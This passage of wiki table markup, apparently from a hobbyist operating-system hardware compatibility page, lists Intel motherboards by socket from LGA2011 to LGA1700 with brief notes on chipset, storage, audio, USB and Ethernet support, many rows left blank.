| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;x79 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2013 Xeon e5-???? W TDP, e5-2667V2 W TDP, e5-????V2 W TDP, Sandybridge and Ivybridge V2
|-
| &lt;!--Name--&gt;Asus 
| &lt;!--Chipset--&gt;X79 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


=====Socket LGA2011V3 s2011-3  (2015/18)=====

[[#top|...to the top]]

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;x99 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2016 Xeon e5-1620v3 130W TDP, e5-1650V3 (i7-5930K) 140W TDP, e5-2640V3 90W TDP, Haswell-EP 
|-
| &lt;!--Name--&gt;Asus 
| &lt;!--Chipset--&gt;X99 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;most cheap Ryzens are better nowadays 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Huananzhi X99-CD4 
| &lt;!--Chipset--&gt;Intel C612 and X99 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 sata 3 connectors and 1 m.2 nvme slot 
| &lt;!--Gfx--&gt;pcie slot 
| &lt;!--Audio--&gt;HDaudio with ALC897 codec 
| &lt;!--USB--&gt;{{No|USB3}}
| &lt;!--Ethernet--&gt;{{maybe|rtl8169}}
| &lt;!--Opinion--&gt;2024 quality might not be great outside of a simple setup - 2 ddr4 dimms - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Keyiyou X99 XD4 
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Machinist MR9A Pro 
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2023 
|-
| &lt;!--Name--&gt;Machinist MR9A Pro 
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2023 
|-
| &lt;!--Name--&gt;Mogul 
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Qiyida X99 H9S
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2023 
|-
| &lt;!--Name--&gt;Soyo 
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


=====Socket LGA 1151 Socket H4 (2015/2018)=====

[[#top|...to the top]]

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;Skylake CPUs have TPM 2.0 embedded 
|-
| &lt;!--Name--&gt;Asus H110 Plus H110M-A/DP 
| &lt;!--Chipset--&gt;  with 6th Gen Core and 7th with bios update 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;Sunrise Point-H SATA [AHCI mode] [8086 a102] 
| &lt;!--Gfx--&gt;{{No|Skylake Integrated HD Graphics use PIC-E slot}}
| &lt;!--Audio--&gt;Intel HD Audio with Realtek ALC887 Audio CODEC
| &lt;!--USB--&gt;Sunrise Point-H USB 3.0 xHCI [8086: a12f] no usb2.0 fallback 
| &lt;!--Ethernet--&gt;{{Yes|Realtek 8111GR or 8111H RTL8111 8168 8411}}
| &lt;!--Opinion--&gt;ATX with 3 pci-e and 2 DDR4 slots - uatx version smaller - turn off TLSF as it was causing AHI driver to corrupt. Turned off ACPI for errors but works fine once booted - 
|-
| &lt;!--Name--&gt;ASUS H110M-R M-ATX 
| &lt;!--Chipset--&gt;H110 6th Gen Skylake Core™ i7 Core™ 6950X i7-6970HQ i7-6700K 4c8t hyperthreading, i5/Core™ i5-6600K 4c4t i3/Pentium® / Celeron® 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 x SATA 6Gb/s 
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;HDAudio with Realtek® ALC887 codec 
| &lt;!--USB--&gt;Intel USB3 
| &lt;!--Ethernet--&gt;Realtek® RTL8111H
| &lt;!--Opinion--&gt;2016 64bit - 2 DDR4 DIMMS Max 32GB 2133MHz - 1 full pci-e and 2 pci-e 1 - 
|-
| &lt;!--Name--&gt;Asus H110T 
| &lt;!--Chipset--&gt;H110 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;2 sata 
| &lt;!--Gfx--&gt;intel igpu only 
| &lt;!--Audio--&gt;HDaudio 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Dual Intel/Realtek GbE languard 
| &lt;!--Opinion--&gt;2016 - mini itx 12v / 19v laptop type rare barrel pin 7.4MM x 5.0MM - 2 sodimm ddr4 slots - no pci-e slot - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA-H110M-S2H MATX Rev1.0 
| &lt;!--Chipset--&gt;H110 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 sata 
| &lt;!--Gfx--&gt;pci-e 3.0
| &lt;!--Audio--&gt;Realtek® ALC887 codec 
| &lt;!--USB--&gt;2 (USB 3.1 Gen 1) ports with 4 us2
| &lt;!--Ethernet--&gt;Realtek® GbE LAN
| &lt;!--Opinion--&gt;   2 ddr4 slots 
|-
| &lt;!--Name--&gt;Gigabyte ga-h110n 
| &lt;!--Chipset--&gt;H110
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{Yes| sata}}
| &lt;!--Gfx--&gt;{{maybe|Vesa 2d for Intel or PCI-e slot}}
| &lt;!--Audio--&gt;{{Maybe|HDaudio for ALC887 codec}}
| &lt;!--USB--&gt;{{Maybe| }}
| &lt;!--Ethernet--&gt;{{yes|RTL8169}}
| &lt;!--Opinion--&gt;2016 mini-itx 6th gen 
|-
| &lt;!--Name--&gt;Msi H110M-PRO-VH 
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 x SATA 6Gb/s 
| &lt;!--Gfx--&gt;pci-e 3.0
| &lt;!--Audio--&gt; Realtek® ALC887 Codec
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;rtl8169 rtl8111h 
| &lt;!--Opinion--&gt; 6th gen intel -  2 ddr4 slots 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;Asus H170 Pro Gaming
| &lt;!--Chipset--&gt;H170 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 sata 
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;Asmedia USB3.1/3.0
| &lt;!--Ethernet--&gt;{{no|intel lan}} 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI Z170A TOMAHAWK 
| &lt;!--Chipset--&gt;Z170 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 sara, 1 x 2280 Key M(PCIe Gen3 x4/SATA), 1 x 2230 Key E(Wi-Fi) 
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{no|intel lan}} 
| &lt;!--Opinion--&gt;2016 64bit up to i7 7700k - 2 DDR4 - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;GIGABYTE GA-B250M-DS3H HD3P D3H D2V 
| &lt;!--Chipset--&gt;B250 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2018 coffee lake intel 8th gen
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;Asus 
| &lt;!--Chipset--&gt; with Kaby Lake X Intel 7th Gen 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt; up to 16 pcie lanes 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;Asus 
| &lt;!--Chipset--&gt; Z390 with Kaby Lake X
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt; up to 16 pcie lanes 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; Q370M 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; H370M 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; B360M 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus Rampage 
| &lt;!--Chipset--&gt;x299 with  i9
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;  - up to 24 to 44 pcie lanes 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte 
| &lt;!--Chipset--&gt;X299
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|}


=====Socket LGA 1200 (2020/2022)=====

[[#top|...to the top]]

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;MSI H510M-A PRO (MS-7D22)
| &lt;!--Chipset--&gt; with 10th gen Comet Lake X
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2021 64bit -  up to 16 pcie lanes rebar possible 
|-
| &lt;!--Name--&gt;Asus PRIME H410M-E
Asrock H470M-HDV/M.2
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;Asus 
| &lt;!--Chipset--&gt; with 11th gen Rocket Lake X
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt; up to 16 pcie lanes 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|}


=====Socket LGA 1700 (2023/ )=====

[[#top|...to the top]]

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;Alder Lake / 14th gen Raptor Lake 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2021 2022 64bit - QoS work to 2 level cpus, P down to E cores - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;Meteor Lake ultra 5 7 1xxH series 1 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2023 2024 64bit 10nm - 3 level cpus, Low Power Island (SOC tile) to E onto P cores - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 15th gen Arrow Lake
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;Lunar lake ultra 5 7 2xxV series 2 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
